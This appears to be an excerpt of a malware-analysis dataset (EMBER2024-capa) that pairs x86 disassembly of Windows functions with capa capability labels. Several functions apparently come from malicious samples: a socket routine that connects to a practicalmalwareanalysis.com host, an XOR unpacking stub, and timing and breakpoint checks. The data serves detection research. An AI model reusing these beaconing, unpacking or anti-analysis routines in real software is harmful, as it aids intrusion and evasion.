joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4313b0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4d5ec8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x4313e9
inc eax
mov dword [esi + 0x10], eax
jmp 0x4314fc
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x4313fd
mov eax, 0xffffffc7
jmp 0x4314fe
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x43140e
cmp dword [esi + 8], eax
jne 0x4313fd
cmp dword [esi + 8], eax
jne 0x431427
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x431427
mov eax, 0xffffffc7
jmp 0x4314fe
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x43143b
push eax
mov ecx, ebx
call fcn.00430be0
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00402c60
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x43146c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00402c80
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.00430350
test eax, eax
mov dword [esp + 0x38], eax
je 0x43149f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x5acb88
call fcn.00402e60
mov eax, dword [esp + 0x38]
jmp 0x4314fe
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00431210
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x4314e3
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.00431230
mov esi, eax
test esi, esi
jne 0x431513
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00431210
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x4314b5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x5acb88
call fcn.00402e60
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x5acb88
call fcn.00402e60
mov eax, esi
jmp 0x4314fe

Function at 0x435f00
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x435f60
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x435f60
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x435f60
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x435f60
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x435fa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x49dedb
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push edi
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x49df49
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x5cae6c
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x49df40
cmp dword [ebp - 0xc], 4
jne 0x49df40
cmp dword [ebp - 0x10], edi
je 0x49df40
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x5fad80], edi
xor eax, eax
jmp 0x49df88
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x5fad80], edi
jge 0x49df83
lea eax, [ebp - 0x34]
push eax
mov dword [0x5fad80], edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [ebp - 0x34], di
jne 0x49df83
cmp word [ebp - 0x14], 5
jb 0x49df83
call fcn.0049deb6
test eax, eax
je 0x49df83
emms
mov dword [0x5fad80], 1
mov eax, dword [0x5fad80]
pop edi
leave
ret

Function at 0x4c8b80
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4c8bb8
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004c6b97
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004c6b6f
jmp 0x4c8bc4
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4ca275
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4ca2b7
call fcn.004d001c
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4ca2b7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4ca2ae
xor eax, eax
jmp 0x4ca2bf
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004ca2c5
pop edi
pop esi
pop ebx
ret 4

Function at 0x4d054c
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4d057a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4d0598
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004d04b2
jmp 0x4d0598
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4d0598
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004d04b2
test edi, edi
mov eax, edi
jne 0x4d0582
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401256
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push 0
push 0
lea eax, [ebp - 4]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1100
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp + 8]
push edx
push str.ERROR:_API______s._n___error_code___d._n___message______s._n
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x208]
push eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401879
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
push 0x10
push 0x10
push 0x413374
push str.ijklmnopqrstuvwx
mov ecx, 0x412ef8
call fcn.00401ac2
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
je 0x4018c5
mov eax, 1
jmp 0x4019a7
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0xffffffff
jne 0x4018f0
mov eax, 1
jmp 0x4019a7
push str.www.practicalmalwareanalysis.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jne 0x401914
mov eax, 1
jmp 0x4019a7
mov ecx, dword [ebp - 0x198]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [ebp - 0x1a4], ecx
push 0x22ce
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a6], ax
mov word [ebp - 0x1a8], 2
push 0x10
lea edx, [ebp - 0x1a8]
push edx
mov eax, dword [ebp - 0x1ac]
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0xffffffff
jne 0x40196e
mov eax, 1
jmp 0x4019a7
mov ecx, dword [ebp - 0x1ac]
push ecx
sub esp, 0x10
mov edx, esp
mov eax, dword [ebp - 0x1a8]
mov dword [edx], eax
mov ecx, dword [ebp - 0x1a4]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x1a0]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 0x19c]
mov dword [edx + 0xc], ecx
call fcn.004015b7
add esp, 0x14
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x408865
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x412bd8
cmp edx, dword [eax]
je 0x408887
add eax, 8
inc ecx
cmp eax, 0x412c68
jl 0x408878
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x412bd8]
jne 0x4089b5
mov eax, dword [0x413804]
cmp eax, 1
je 0x40898f
test eax, eax
jne 0x4088b8
cmp dword [0x412688], 1
je 0x40898f
cmp edx, 0xfc
je 0x4089b5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4088ef
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407dd0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004064d0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x408932
lea eax, [ebp - 0x1a4]
push eax
call fcn.004064d0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4100d0
push edi
call fcn.0040aff0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407dd0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407de0
lea eax, [ebp - 0xa0]
push 0x4100b0
push eax
call fcn.00407de0
push dword [esi + 0x412bdc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407de0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040af67
add esp, 0x2c
pop edi
jmp 0x4089b5
lea eax, [ebp + 8]
lea esi, [esi + 0x412bdc]
push 0
push eax
push dword [esi]
call fcn.004064d0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4928ed
Capabilities:
Set socket configuration

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push 0x8004667e
push ecx
mov dword [esp + 0xc], 0
call sub.WS2_32.dll_ioctlsocket
xor edx, edx
cmp eax, 0xffffffff
setne dl
mov eax, edx
pop ecx
ret

Function at 0x49294d
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 1
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x49296d
or eax, 0xffffffff
add esp, 0x190
ret
push 6
push 1
push 2
call sub.WS2_32.dll_socket
add esp, 0x190
ret
Function at 0x492fad
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
sub esp, 0x10c
mov ecx, dword [esp + 0x114]
push esi
mov esi, dword [esp + 0x114]
mov dword [esp + 0xc], 1
test ecx, ecx
mov dword [esp + 0x10], esi
jne 0x492fe0
push ecx
lea eax, [esp + 0x10]
push ecx
push eax
push ecx
lea ecx, [esi + 1]
push ecx
jmp 0x493038
cmp ecx, 0xffffffff
jne 0x492ff7
mov dword [esp + 4], 0
mov dword [esp + 8], 0
jmp 0x493026
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ecx
mov dword [esp + 4], edx
mov ecx, 0x3e8
cdq
idiv ecx
lea eax, [edx + edx*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
shl edx, 3
mov dword [esp + 8], edx
lea eax, [esp + 4]
lea ecx, [esp + 0xc]
push eax
push 0
push ecx
lea edx, [esi + 1]
push 0
push edx
call sub.WS2_32.dll_select
test eax, eax
jge 0x49304e
mov eax, 0xfffffffb
pop esi
add esp, 0x10c
ret
jne 0x49305d
mov eax, 0xfffffffa
pop esi
add esp, 0x10c
ret
lea eax, [esp + 0xc]
push eax
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4930b6
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x120]
push 0
push ecx
push edx
push esi
call sub.WS2_32.dll_send
test eax, eax
jg 0x49309e
call fcn.0049258d
push eax
call fcn.00492b9d
add esp, 4
pop esi
add esp, 0x10c
ret
mov ecx, dword [0x6e9514]
test ecx, ecx
je 0x4930bb
mov edx, dword [ecx]
pop esi
add edx, eax
mov dword [ecx], edx
add esp, 0x10c
ret
mov eax, 0xfffffff7
pop esi
add esp, 0x10c
ret

Function at 0x49360d
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
push esi
push eax
call fcn.0049373d
add esp, 8
test eax, eax
jne 0x493626
pop esi
ret
mov eax, dword [esi + 0x8c]
test eax, eax
jne 0x493632
pop esi
ret
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [esi + 0x8c], 0
pop esi
ret

Function at 0x49ffcd
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x4a0033
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x4a0033
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4a0014
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4a03bd
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4a03f5
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x4a10dd
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x4a1126
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4a159d
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5ae470
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004a114d
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004a11cd
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004a11cd
lea ecx, [esi + 0xc]
call fcn.0050c23a
lea ecx, [esi + 0x10]
call fcn.0050c23a
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004a275d
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004a275d
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004a275d
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0050c2af
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0050c2af
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4a309d
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x4a30d0
push esi
call fcn.004a80cd
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4a30c9
mov dword [esi + 0x14], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x4a3156
mov eax, dword [esi + 0x1b8]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4a313f
mov eax, dword [esi + 8]
test eax, eax
je 0x4a30f4
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b8]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4a313b
cmp eax, 2
je 0x4a313f
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4a30e7
cmp eax, 3
je 0x4a311a
cmp eax, 1
jne 0x4a30e7
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4a30e7
mov edx, dword [esi + 0x144]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4a30e7
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004a318d
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4a3176
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x15
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
push esi
call fcn.004a318d
add esp, 4
pop esi
ret

Function at 0x4d3e6d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x4d3e78
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x4d3f7b
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x685018]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x685018]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x685018]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x685018]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x685018]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x685018]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x685018]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x685018]
xor eax, edx
inc ecx
dec edi
jne 0x4d3e93
pop edi
test esi, esi
je 0x4d3f9d
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x685018]
xor eax, edx
inc ecx
dec esi
jne 0x4d3f7f
pop esi
pop ebx
not eax
ret
Function at 0x50fe5e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x50fea0
call fcn.00515e49
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x50fea0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x50fe97
xor eax, eax
jmp 0x50fea8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0050feae
pop edi
pop esi
pop ebx
ret 4

Function at 0x516379
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x5163a7
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x5163c5
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.005162df
jmp 0x5163c5
mov eax, dword [esi + 0x14]
test eax, eax
je 0x5163c5
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.005162df
test edi, edi
mov eax, edi
jne 0x5163af
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x523940
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
push esi
push eax
call fcn.00523a70
add esp, 8
test eax, eax
jne 0x523959
pop esi
ret
mov eax, dword [esi + 0x8c]
test eax, eax
jne 0x523965
pop esi
ret
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [esi + 0x8c], 0
pop esi
ret

Function at 0x5306f0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x530728
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401d00
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4ce8c8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x4f87d8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov edi, ecx
call fcn.004025f0
push edi
call fcn.00402e40
lea eax, [esp + 0xc]
lea esi, [edi + 0x2e8]
push eax
mov dword [esp + 0x10], 0x7f
call fcn.004889d0
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0x10], 0x80
call fcn.004889d0
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], 0x81
call fcn.004889d0
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x10], 0x82
call fcn.004889d0
call fcn.0040ddf0
lea ecx, [esp + 0x10]
push ecx
mov dword [edi + 0x2e4], eax
call fcn.0040a040
add esp, 4
push 0xffffffffffffffff
push 0
push eax
lea eax, [edi + 0x2c8]
mov dword [esp + 0x44], 0
call fcn.00405240
mov dword [esp + 0x38], 0xffffffff
cmp dword [esp + 0x28], 8
jb 0x401dd2
mov edx, dword [esp + 0x14]
push edx
call fcn.004a85e6
add esp, 4
cmp byte [edi + 0x3ac], 0
mov dword [esp + 0x28], 7
mov dword [esp + 0x24], 0
mov word [esp + 0x14], 0
je 0x401e5c
mov eax, dword [edi + 4]
push eax
call fcn.00406f00
mov ecx, dword [edi + 4]
add esp, 4
push 0
push 0x2710
push 0x232a
push ecx
call dword [sym.imp.USER32.dll_SetTimer]
cmp byte [edi + 0x56], 0
lea eax, [edi + 0x24]
je 0x401e39
mov edx, dword [eax + 0x34]
push edx
push eax
call fcn.0044d810
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [eax + 0x178]
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [edi]
mov eax, dword [edx + 8]
push 1
push 1
mov ecx, edi
call eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret